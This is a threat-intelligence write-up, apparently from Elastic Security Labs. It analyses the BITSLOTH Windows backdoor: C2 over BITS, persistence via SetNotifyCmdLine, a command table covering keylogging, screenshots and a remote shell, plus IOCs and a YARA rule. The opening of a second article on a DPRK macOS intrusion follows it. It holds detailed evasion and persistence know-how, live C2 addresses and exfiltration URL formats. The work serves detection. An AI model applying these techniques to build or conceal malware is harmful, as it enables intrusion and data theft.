<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image27.png" alt="BITSLOTH scheduling component" /></p>
<h2>BITSLOTH code analysis</h2>
<p>BITSLOTH is a backdoor with many different capabilities including:</p>
<ul>
<li>Running and executing commands</li>
<li>Uploading and downloading files</li>
<li>Performing enumeration and discovery</li>
<li>Collecting sensitive data through keylogging and screen capturing</li>
</ul>
<h3>Mutex</h3>
<p>BITSLOTH uses a hard-coded mutex (<code>Global\d5ffff77ff77adad657658</code>) within each sample to ensure only one instance is running at a time.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image6.png" alt="Mutex used by BITSLOTH" /></p>
<h3>Communication</h3>
<p>BITSLOTH adopts a traditional client/server architecture, the developer refers to the client as the <code>Slaver</code> component and the command and control server (C2) as the <code>Master</code> component. The developer embeds the IP/port of the C2 server in each sample with a front-loaded string (<code>rrrr_url</code>). This string acts as a key to identify the C2 configuration in itself while running in memory, this is used when updating the C2 server.</p>
<p>Below are the configurations in several samples our team has observed, the threat actor configures both internal and external IP ranges.</p>
<pre><code>rrrr_url216.238.121[.]132:8443
rrrr_url192.168.1[.]125:8443 
rrrr_url192.168.1[.]124:8443
rrrr_url45.116.13[.]178:443
</code></pre>
<p>One of the defining features of BITSLOTH is using the <a href="https://learn.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal">Background Intelligent Transfer Service</a> (BITS) for C2. While this feature has been designed to facilitate the network transfer of files between two machines, it’s been <a href="https://www.welivesecurity.com/2019/09/09/backdoor-stealth-falcon-group/">abused</a> by multiple state-sponsored groups and continues to fly under the radar against organizations. This medium is appealing to adversaries because many organizations still struggle to monitor BITS network traffic and detect unusual BITS jobs.</p>
<blockquote>
<p>Windows has a system administration feature called Background Intelligent Transfer Service (BITS) enabling the download and upload of files to HTTP web servers or SMB shares. The BITS service employs multiple features during the file transfer process such as the ability to pause/resume transfers, handling network interruptions, etc. BITS traffic is usually associated with software updates therefore wrongfully implied as trusted. Many organizations lack visibility into BITS network traffic making this an appealing target.</p>
</blockquote>
<p>The BITS API is exposed through Window’s <a href="https://learn.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal">Component Object Model</a> (COM) using the <strong>IBackgroundCopyManager</strong> <a href="https://learn.microsoft.com/en-us/windows/win32/api/bits/nn-bits-ibackgroundcopymanager">interface</a>. This interface provides capabilities to create new jobs, enumerate existing jobs in the transfer queue, and access a specific job from a transfer queue.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image12.png" alt="Initializing IBackgroundCopyManager interface" /></p>
<p>After initialization, BITSLOTH cancels any existing BITS jobs on the victim machine that match the following display names:</p>
<ul>
<li><code>WU Client Download</code></li>
<li><code>WU Client Upload</code></li>
<li><code>WU Client Upload R</code></li>
</ul>
<p>These names are used by the developer to blend in and associate the different BITS transfer jobs with their respective BITS <a href="https://learn.microsoft.com/en-us/windows/win32/api/bits/ne-bits-bg_job_type">job type</a>. By canceling any existing jobs, this allows the execution of the malware to operate from a clean state.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image17.png" alt="Switch statement inside BITSLOTH to process BITS job" /></p>
<p>Below are the Microsoft definitions matching the type of BITS job:</p>
<ul>
<li><strong>BG_JOB_TYPE_DOWNLOAD</strong> - Specifies that the job downloads files to the client.</li>
<li><strong>BG_JOB_TYPE_UPLOAD</strong> - Specifies that the job uploads a file to the server.</li>
<li><strong>BG_JOB_TYPE_UPLOAD_REPLY</strong> - Specifies that the job uploads a file to the server, and receives a reply file from the server application.</li>
</ul>
<p>After canceling any existing jobs, the MAC address and operating system information are retrieved and placed into global variables. A new thread gets created, configuring the auto-start functionality. Within this thread, a new BITS download job is created with the name (<code>Microsoft Windows</code>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image18.png" alt="BITS job creation for auto-start functionality" /></p>
<p>This download job sets the destination URL to <code>http://updater.microsoft[.]com/index.aspx</code>. While this domain is not routable, BITSLOTH masquerades this BITS job using a benign looking domain as a cover then uses <strong>SetNotifyCmdLine</strong> to execute the malware when the transfer state is changed.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image28.png" alt="Setting up BITS persistence via SetNotifyCmdLine" /></p>
<p>Interestingly, this unique toolmark allowed us to pivot to additional samples showing this family has been in circulation for several years.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image4.png" alt="VirusTotal relationships from embedded Microsoft URL" /></p>
<p>At this point, the malware has now been configured with persistence via a BITS job named <code>Microsoft Windows</code>. Below is a screenshot of this job’s configuration showing the notification command line set to the BITSLOTH location (<code>C:\ProgramData\Media\setup_wm.exe</code>)</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image33.png" alt="BITSLOTH persistence job" /></p>
<p>Once BITSLOTH becomes active, it will start requesting instructions from the C2 server using the <code>WU Client Download</code> job. This request URL is generated by combining the MAC address with a hard-coded string (<code>wu.htm</code>). Below is an example URL:</p>
<pre><code>https://192.168.182.130/00-0C-29-0E-29-87/wu.htm
</code></pre>
<p>In response to this request, the malware will then receive a 12-byte structure from the C2 server containing a unique ID for the job, command ID for the handler, and a response token. Throughout these exchanges of file transfers, temporary files from the victim machine are used as placeholders to hold the data being transmitted back and forth, BITSLOTH uses a filename starting with characters (<code>wm</code>) appended by random characters.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image25.png" alt="Data exchange through temporary files" /></p>
<h3>Command functionality</h3>
<p>BITSLOTH uses a command handler with 35 functions to process specific actions that should be taken on the victim machine. The malware has the option to be configured with HTTP or HTTPS and uses a hardcoded single byte XOR (<code>0x2</code>) to obfuscate the incoming instructions from the C2 server. The outbound requests containing the collected victim data have no additional protections by the malware itself and are sent in plaintext.</p>
<p>In order to move fast, our team leveraged a helpful Python <a href="https://github.com/SafeBreach-Labs/SimpleBITSServer">implementation</a> of a BITS server released by <a href="https://www.safebreach.com/">SafeBreach Labs</a>. By setting the C2 IP to our loopback address inside a VM, this allowed us to get introspection on the network traffic.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image2.png" alt="BITSLOTH command handler" /></p>
<p>The handlers all behave in a similar approach performing a primary function then writing the data returned from the handler to a local temporary file. These temporary files then get mapped to a BITS upload job called <code>WU Client Upload</code>. Each handler uses its own string formatting to create a unique destination URL. Each filename at the end of the URL uses a single letter to represent the type of data collected from the host, such as <code>P.bin</code> for processes or <code>S.bin</code> for services.</p>
<pre><code>http://192.168.182.130/00-0C-29-0E-29-87/IF/P.bin
</code></pre>
<p>Below is an example screenshot showing the process enumeration handler with the string formatting and how this data is then linked to the BITS upload job.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image31.png" alt="BITSLOTH handler for running processes" /></p>
<p>This link to the exfiltrated data can also be observed by viewing the BITS upload job directly. In the screenshots below, we can see the destination URL (C2 server) for the upload and the temporary file (<code>wm9F0C.tmp</code>) linked to the job.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image15.png" alt="BITS upload job configuration" /></p>
<p>If we look at the temporary file, we can see the collected process information from the victim host.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image26.png" alt="Contents of temporary file holding exfiltrated data" /></p>
<p>Soon after the upload job is created, the data is sent over the network through a BITS_POST request containing the captured data.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image22.png" alt="Outbound BITS_POST request" /></p>
<h3>Command handling table</h3>
<table>
<thead>
<tr>
<th>Command ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Collect running processes via <strong>WTSEnumerateProcessesW</strong></td>
</tr>
<tr>
<td>1</td>
<td>Get Windows services via <strong>EnumServicesStatusW</strong></td>
</tr>
<tr>
<td>2</td>
<td>Get system information via <code>systeminfo</code> command</td>
</tr>
<tr>
<td>3</td>
<td>Retrieve all top-level Windows via <strong>EnumWindows</strong></td>
</tr>
<tr>
<td>5</td>
<td>Collect file listings</td>
</tr>
<tr>
<td>6</td>
<td>Download file from C2 server</td>
</tr>
<tr>
<td>7</td>
<td>Upload file to C2 server</td>
</tr>
<tr>
<td>10</td>
<td>Terminate itself</td>
</tr>
<tr>
<td>11</td>
<td>Set communication mode to HTTPS</td>
</tr>
<tr>
<td>12</td>
<td>Set communication mode to HTTP</td>
</tr>
<tr>
<td>13</td>
<td>Remove persistence</td>
</tr>
<tr>
<td>14</td>
<td>Reconfigure persistence</td>
</tr>
<tr>
<td>15</td>
<td>Cancel BITS download job (<code>WU Client Download</code>)</td>
</tr>
<tr>
<td>16</td>
<td>Remove persistence and delete itself</td>
</tr>
<tr>
<td>17</td>
<td>Thread configuration</td>
</tr>
<tr>
<td>18</td>
<td>Duplicate of handler #2</td>
</tr>
<tr>
<td>19</td>
<td>Delete file based on file path</td>
</tr>
<tr>
<td>20</td>
<td>Delete folder based on file path</td>
</tr>
<tr>
<td>21</td>
<td>Starts terminal shell using stdin/stdout redirection</td>
</tr>
<tr>
<td>22</td>
<td>Resets terminal handler (#21)</td>
</tr>
<tr>
<td>23</td>
<td>Runs Windows tree command</td>
</tr>
<tr>
<td>24</td>
<td>Updates BITSLOTH, delete old version</td>
</tr>
<tr>
<td>25</td>
<td>Shutdown the machine via <strong>ExitWindowsEx</strong></td>
</tr>
<tr>
<td>26</td>
<td>Reboot the machine via <strong>ExitWindowsEx</strong></td>
</tr>
<tr>
<td>27</td>
<td>Log user off from the machine via <strong>ExitWindowsEx</strong></td>
</tr>
<tr>
<td>28</td>
<td>Terminate process based on process identifier (PID)</td>
</tr>
<tr>
<td>29</td>
<td>Retrieves additional information via <code>msinfo32</code> command</td>
</tr>
<tr>
<td>30</td>
<td>Execute individual file via <strong>ShellExecuteW</strong></td>
</tr>
<tr>
<td>34</td>
<td>Create new directory via <strong>CreateDirectoryW</strong></td>
</tr>
<tr>
<td>41</td>
<td>Upload data to C2 server</td>
</tr>
<tr>
<td>42</td>
<td>Checks for capture driver via <strong>capGetDriverDescriptionW</strong></td>
</tr>
<tr>
<td>43</td>
<td>Take screenshots of victim machine desktop</td>
</tr>
<tr>
<td>44</td>
<td>Record keystrokes from victim machine</td>
</tr>
<tr>
<td>45</td>
<td>Stop recording screenshot images</td>
</tr>
<tr>
<td>46</td>
<td>Stop keylogger functionality</td>
</tr>
</tbody>
</table>
<h3>Backdoor functionality</h3>
<p>BITSLOTH includes a wide range of post-compromise capabilities for an adversary to operate within a victim environment. We will focus on the more significant capabilities by grouping them into different categories.</p>
<h4>Discovery/enumeration</h4>
<p>A portion of the BITSLOTH handlers are focused on retrieving and enumerating data from victim machines. This includes:</p>
<ul>
<li>Retrieving process information via <strong>WTSEnumerateProcessesW</strong></li>
<li>Collecting Windows services via <strong>EnumServicesStatusW</strong></li>
<li>Enumerating all top-level Windows via <strong>EnumWindows</strong> with a callback function</li>
<li>Retrieving system information via windows utilities such as <code>systeminfo</code> and <code>msinfo32</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image14.png" alt="BITSLOTH handler used to collect system information" /></p>
<p>In many of the handlers, the locale version is configured to <code>chs </code>(Chinese - Simplified).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image16.png" alt="Retrieve Windows information" /></p>
<p>BITSLOTH has a couple custom enumeration functions tied to retrieving file listings and performing directory tree searches. The file listing handler takes a custom parameter from the operator to target specific folder locations of interest:</p>
<ul>
<li><strong>GET_DESKDOP</strong> → <strong>CSIDL_DESKTOPDIRECTORY</strong> (Desktop)</li>
<li><strong>GET_BITBUCKET</strong> -&gt; <strong>CSIDL_BITBUCKET</strong> (Recycle Bin)</li>
<li><strong>GET_PERSONAl</strong> -&gt; <strong>CSIDL_MYDOCUMENTS</strong> (My Documents)</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image10.png" alt="File listing parameters via BITSLOTH" /></p>
<p>BITSLOTH also has the ability to collect entire directory/file listings on the machine for every file by using the Windows <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tree">tree</a> utility. This handler loops across the alphabet for each drive letter where the data is then saved locally in a temporary file named <code>aghzyxklg</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image1.png" alt="Tree listing via BITSLOTH" /></p>
<p>The tree data is then compressed and sent to the C2 server with a .ZIP extension. Below is an example of the collected data. This data can help pinpoint sensitive files or provide more context about the target environment.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image5.png" alt="Example of data collected through GetDirectoryTree handler" /></p>
<h4>Collection</h4>
<p>In terms of collection, there are a few handlers used for actively gathering information. These are centered around capturing screenshots from the desktop and performing keylogging functionality.</p>
<p>BITSLOTH implements a lightweight function used to identify capture recording devices, this appears to be a technique to check for a camera using the Windows API (<strong>capGetDriverDescriptionW</strong>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image30.png" alt="Handler that records capture devices" /></p>
<p>BITSLOTH has the ability to take screenshots based on parameters provided by the operator. Input to this function uses a separator (<code>||</code>) where the operator provides the number of seconds of the capture interval and the capture count. The images are stored as BMP files with a hard coded name <code>ciakfjoab</code> and compressed with the DEFLATE algorithm using a <code>.ZIP</code> archive. These timestamped zipped archives are then sent out to the C2 server.</p>
<p>The handler leverages common screenshot APIs such as <strong>CreateCompatibleBitmap</strong> and <strong>BitBlt</strong> from <code>Gdi32.dll</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image32.png" alt="BITSLOTH screen capture using Windows APIs" /></p>
<p>For recording keystrokes, BITSLOTH uses traditional techniques by monitoring key presses using <strong>GetAsyncKeyState</strong>/<strong>GetKeyState</strong>. The handler has an argument for the number of seconds to perform the keylogging. This data is also compressed in a <code>.ZIP</code> file and sent outbound to the C2 server.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image8.png" alt="Keylogger functionality inside BITSLOTH" /></p>
<h4>Execution / Maintenance</h4>
<p>BITSLOTH has multiple capabilities around maintenace and file execution as well as standard backdoor functionalities such as:</p>
<ul>
<li>Capability to execute files stand-alone via <strong>ShellExecuteW</strong></li>
<li>Windows terminal capability to execute commands and read data back via pipes</li>
<li>Create directories, perform reboots, shutdown the machine, terminate processes</li>
<li>Perform file upload and download between C2 server</li>
<li>Modify BITSLOTH configuration such as communication modes, update C2 URL, turn off keylogging/screenshot features</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image11.png" alt="BITSLOTH’s CMD terminal" /></p>
<h2>BITSLOTH pivots</h2>
<p>BITSLOTH appears to be actively deployed. We identified another BITSLOTH C2 server (<code>15.235.132[.]67</code>) using the same port (<code>8443</code>) with the same <a href="https://www.shodan.io/search?query=ssl.cert.serial%3A253c1c0bbf58e1f509fc4468de462ed8872f81d9">SSL certificate</a> used from our intrusion.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image20.png" alt="Shodan SSL certificate matches" /></p>
<p>While it’s not exactly clear who’s behind BITSLOTH, there was a large amount of activity of VirusTotal uploads occurring on December 12, 2021. With around 67 uploads over 24 hours from one submitter (<code>1fcc35ea</code>), we suspect someone linked to this project was validating detections, making modifications, and uploading different versions of BITSLOTH to VirusTotal. One sample was packed with VMProtect, others stripped of functionality, some uploads were debug builds, etc.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image23.png" alt="BITSLOTH - VirusTotal Submitter (1fcc35ea)" /></p>
<p>A lot of time has passed since then, but it is interesting seeing this family show up in a recent intrusion. Whatever the objective behind this malware, it's surprising that this family remained under the radar for so many years.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image3.png" alt="Different PDB paths from BITSLOTH uploads" /></p>
<h3>REF 8747 through MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<p>[h4] Tactics
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1197/">BITS Jobs</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1090/">Proxy</a></li>
</ul>
<h2>Detecting REF8747</h2>
<h3>Detection</h3>
<p>The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:</p>
<ul>
<li><a href="https://github.com/elastic/endpoint-rules/blob/0f01f1a9e2ac08e9ead74cafd4d73cb8166f9fc8/rules/windows/persistence_execution_via_bits_setnotifycmdline_method.toml">Persistence via BITS Job Notify Cmdline</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_lsass_access_attempt_via_ppl_bypass.toml">LSASS Access Attempt via PPL Bypass</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_lsass_access_attempt_from_an_unsigned_executable.toml">LSASS Access Attempt from an Unsigned Executable</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_parent_child_relationship.toml">Suspicious Parent-Child Relationship</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_credential_access_via_known_utilities.toml">Credential Access via Known Utilities</a></li>
<li>Shellcode Injection</li>
</ul>
<h4>YARA Signatures</h4>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Mimikatz.yar">Windows.Hacktool.Mimikatz</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BITSloth.yar">Windows.Trojan.BITSloth</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Iox.yar">Windows.Hacktool.Iox</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Rubeus.yar">Windows.Hacktool.Rubeus</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Certify.yar">Windows.Hacktool.Certify</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_RingQ.yar">Windows.Hacktool.RingQ</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_GodPotato.yar">Windows.Hacktool.GodPotato</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Hacktool_Stowaway.yar">Multi.Hacktool.Stowaway</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify BITSLOTH:</p>
<pre><code>rule Windows_Trojan_BITSLOTH_05fc3a0a {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-07-16&quot;
        last_modified = &quot;2024-07-18&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.BITSLOTH&quot;
  	 license = &quot;Elastic License v2&quot;

    strings:
        $str_1 = &quot;/%s/index.htm?RspID=%d&quot; wide fullword
        $str_2 = &quot;/%s/%08x.rpl&quot; wide fullword
        $str_3 = &quot;/%s/wu.htm&quot; wide fullword
        $str_4 = &quot;GET_DESKDOP&quot; wide fullword
        $str_5 = &quot;http://updater.microsoft.com/index.aspx&quot; wide fullword
        $str_6 = &quot;[U] update error...&quot; wide fullword
        $str_7 = &quot;RMC_KERNEL ...&quot; wide fullword
        $seq_global_protocol_check = { 81 3D ?? ?? ?? ?? F9 03 00 00 B9 AC 0F 00 00 0F 46 C1 }
        $seq_exit_windows = { 59 85 C0 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A 02 EB ?? 56 EB }
    condition:
        2 of them
}
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/bitsloth">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>4a4356faad620bf12ff53bcfac62e12eb67783bd22e66bf00a19a4c404bf45df</td>
<td>SHA-256</td>
<td><code>s.dll</code></td>
<td>BITSLOTH</td>
</tr>
<tr>
<td>dfb76bcf5a3e29225559ebbdae8bdd24f69262492eca2f99f7a9525628006d88</td>
<td>SHA-256</td>
<td><code>125.exe</code></td>
<td>BITSLOTH</td>
</tr>
<tr>
<td>4fb6dd11e723209d12b2d503a9fcf94d8fed6084aceca390ac0b7e7da1874f50</td>
<td>SHA-256</td>
<td><code>setup_wm.exe</code></td>
<td>BITSLOTH</td>
</tr>
<tr>
<td>0944b17a4330e1c97600f62717d6bae7e4a4260604043f2390a14c8d76ef1507</td>
<td>SHA-256</td>
<td><code>1242.exe</code></td>
<td>BITSLOTH</td>
</tr>
<tr>
<td>0f9c0d9b77678d7360e492e00a7fa00af9b78331dc926b0747b07299b4e64afd</td>
<td>SHA-256</td>
<td><code>setup_wm.exe</code></td>
<td>BITSLOTH (VMProtect)</td>
</tr>
<tr>
<td>216.238.121[.]132</td>
<td>ipv4-addr</td>
<td>BITSLOTH C2 server</td>
<td></td>
</tr>
<tr>
<td>45.116.13[.]178</td>
<td>ipv4-addr</td>
<td>BITSLOTH C2 server</td>
<td></td>
</tr>
<tr>
<td>15.235.132[.]67</td>
<td>ipv4-addr</td>
<td>BITSLOTH C2 server</td>
<td></td>
</tr>
<tr>
<td>http ://updater.microsoft.com/index.aspx</td>
<td></td>
<td></td>
<td>BITSLOTH file indicator</td>
</tr>
<tr>
<td>updater.microsoft.com</td>
<td></td>
<td></td>
<td>BITSLOTH file indicator</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://github.com/SafeBreach-Labs/SimpleBITSServer/tree/master">https://github.com/SafeBreach-Labs/SimpleBITSServer/tree/master</a></li>
<li><a href="https://github.com/T4y1oR/RingQ">https://github.com/T4y1oR/RingQ</a></li>
<li><a href="https://github.com/EddieIvan01/iox">https://github.com/EddieIvan01/iox</a></li>
<li><a href="https://github.com/ph4ntonn/Stowaway/">https://github.com/ph4ntonn/Stowaway/</a></li>
</ul>
<h2>About Elastic Security Labs</h2>
<p>Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.</p>
<p>Follow Elastic Security Labs on Twitter <a href="https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor">@elasticseclabs</a> and check out our research at <a href="https://www.elastic.co/jp/security-labs/">www.elastic.co/security-labs/</a>.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/Security Labs Images 29.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Elastic catches DPRK passing out KANDYKORN]]></title>
            <link>https://www.elastic.co/jp/security-labs/elastic-catches-dprk-passing-out-kandykorn</link>
            <guid>elastic-catches-dprk-passing-out-kandykorn</guid>
            <pubDate>Wed, 01 Nov 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs exposes an attempt by the DPRK to infect blockchain engineers with novel macOS malware.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Elastic Security Labs is disclosing a novel intrusion targeting blockchain engineers of a crypto exchange platform. The intrusion leveraged a combination of custom and open source capabilities for initial access and post-exploitation.</p>
<p>We discovered this intrusion when analyzing attempts to reflectively load a binary into memory on a macOS endpoint. The intrusion was traced to a Python application posing as a cryptocurrency arbitrage bot delivered via a direct message on a public Discord server.</p>
<p>We attribute this activity to DPRK and recognize overlaps with the Lazarus Group based on our analysis of the techniques, network infrastructure, code-signing certificates, and custom Lazarus Group detection rules; we track this intrusion set as REF7001.</p>
<h3>Key takeaways</h3>
<ul>
<li>Threat actors lured blockchain engineers with a Python application to gain initial access to the environment</li>
<li>This intrusion involved multiple complex stages that each employed deliberate defense evasion techniques</li>
<li>The intrusion set was observed on a macOS system where an adversary attempted to load binaries into memory, which is atypical of macOS intrusions</li>
</ul>
<h2>Execution flow</h2>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image31.jpg" alt="REF7001 Execution Flow" /></p>
<p>Attackers impersonated blockchain engineering community members on a public Discord frequented by members of this community. The attacker social-engineered their initial victim, convincing them to download and decompress a ZIP archive containing malicious code. The victim believed they were installing an <a href="https://wundertrading.com/en/crypto-arbitrage-bot">arbitrage bot</a>, a software tool capable of profiting from cryptocurrency rate differences between platforms.</p>
<p>This execution kicked off the primary malware execution flow of the REF7001 intrusion, culminating in KANDYKORN:</p>
<ul>
<li>Stage 0 (Initial Compromise) - <code>Watcher.py</code></li>
<li>Stage 1 (Dropper) - <code>testSpeed.py</code> and <code>FinderTools</code></li>
<li>Stage 2 (Payload) - <code>.sld</code> and <code>.log</code> - SUGARLOADER</li>
<li>Stage 3 (Loader)- Discord (fake) - HLOADER</li>
<li>Stage 4 (Payload) - KANDYKORN</li>
</ul>
<h2>Stage 0 Initial compromise: Watcher.py</h2>
<p>The initial breach was orchestrated via a camouflaged Python application designed and advertised as an arbitrage bot targeted at blockchain engineers. This application was distributed as a .zip file titled <code>Cross-Platform Bridges.zip</code>. Decompressing it reveals a <code>Main.py</code> script accompanied by a folder named <code>order_book_recorder</code>, housing 13 Python scripts.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image21.png" alt="Cross-Platform Bridges.zip folder structure" /></p>
<p>The victim manually ran the <code>Main.py</code> script via their PyCharm IDE Python interpreter.</p>
<p>Initially, the <code>Main.py</code> script appears benign. It imports the accompanying Python scripts as modules and seems to execute some mundane functions.</p>
<p>While analyzing the modules housed in the <code>order_book_recorder</code> folder, one file -- <code>Watcher.py</code> -- clearly stood out and we will see why.</p>
<p><code>Main.py</code> acts as the initial trigger, importing <code>Watcher.py</code> as a module that indirectly executes the script. The Python interpreter runs every top-level statement in <code>Watcher.py</code> sequentially.</p>
<p>The script starts off by establishing local directory paths and subsequently attempts to generate a <code>_log</code> folder at the specified location. If the folder already exists, the script remains passive.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image17.png" alt="Creating a folder within the Python application directory structure and name it _log" /></p>
<p>The script pre-defines a <code>testSpeed.py</code> file path (destined for the just created <code>_log</code> folder) and assigns it to the <code>output</code> variable. The function <code>import_networklib</code> is then defined. Within it, a Google Drive URL is initialized.</p>
<p>Utilizing the Python <code>urllib</code> library, the script fetches content from this URL and stashes it in the <code>s_args</code> variable. In case of retrieval errors, it defaults to returning the operating system's name. Subsequently, the content from Google Drive (now in <code>s_args</code>) is written into the <code>testSpeed.py</code> file.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image25.png" alt="Malicious downloader function import_networklib" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image24.png" alt="Connect to Google Drive url and download data saved to a variable s_args" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image1.png" alt="Write data from s_args to testSpeed.py file in newly created _log directory" /></p>
<p>The next function, <code>get_modules_base_version</code>, probes the Python version and invokes the <code>import_networklib</code> function if it detects version 3. This call sets the entire sequence in motion.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image14.png" alt="Check if Python version 3, calls the import_networklib function" /></p>
